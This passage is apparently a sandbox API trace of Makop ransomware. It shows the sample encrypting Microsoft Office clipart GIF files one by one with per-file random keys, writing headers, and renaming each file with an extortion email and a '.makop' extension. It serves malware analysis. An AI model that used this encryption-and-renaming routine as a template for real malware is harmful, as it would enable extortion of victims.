GetProcessHeap () returned 0x48a0000 [0105.736] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.736] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.737] CloseHandle (hObject=0xf0) returned 1 [0105.737] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0105.737] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0105.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.738] GetProcessHeap () returned 0x48a0000 [0105.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.738] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.743] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.743] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.743] GetProcessHeap () returned 0x48a0000 [0105.743] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.744] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.745] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.745] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd9c, lpOverlapped=0x0) returned 1 [0105.745] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0, dwBufLen=0xda0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0) returned 1 [0105.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xda0, lpOverlapped=0x0) returned 1 [0105.745] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.746] SetEndOfFile (hFile=0xf0) returned 1 [0105.753] GetProcessHeap () returned 0x48a0000 [0105.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.753] GetProcessHeap () returned 0x48a0000 [0105.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.753] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.755] CloseHandle (hObject=0xf0) returned 1 [0105.755] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0105.755] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0105.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.756] GetProcessHeap () returned 0x48a0000 [0105.756] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.756] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0105.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.761] GetProcessHeap () returned 0x48a0000 [0105.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.762] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.762] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.763] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.763] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.763] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc44, lpOverlapped=0x0) returned 1 [0105.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50, dwBufLen=0xc50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50) returned 1 [0105.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc50, lpOverlapped=0x0) returned 1 [0105.764] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.764] SetEndOfFile (hFile=0xf0) returned 1 [0105.771] GetProcessHeap () returned 0x48a0000 [0105.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.771] GetProcessHeap () returned 0x48a0000 [0105.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.771] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.773] CloseHandle (hObject=0xf0) returned 1 [0105.773] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0105.773] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0105.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.774] GetProcessHeap () returned 0x48a0000 [0105.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0105.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.779] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.779] GetProcessHeap () returned 0x48a0000 [0105.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.779] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.779] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.779] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.780] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30c2, lpOverlapped=0x0) returned 1 [0105.782] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0) returned 1 [0105.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30d0, lpOverlapped=0x0) returned 1 [0105.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.783] SetEndOfFile (hFile=0xf0) returned 1 [0105.790] GetProcessHeap () returned 0x48a0000 [0105.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.790] GetProcessHeap () returned 0x48a0000 [0105.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.791] CloseHandle (hObject=0xf0) returned 1 [0105.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0105.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0105.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.792] GetProcessHeap () returned 0x48a0000 [0105.792] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.792] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0105.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.798] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.798] GetProcessHeap () returned 0x48a0000 [0105.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.798] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.799] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1485, lpOverlapped=0x0) returned 1 [0105.801] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490, dwBufLen=0x1490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490) returned 1 [0105.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 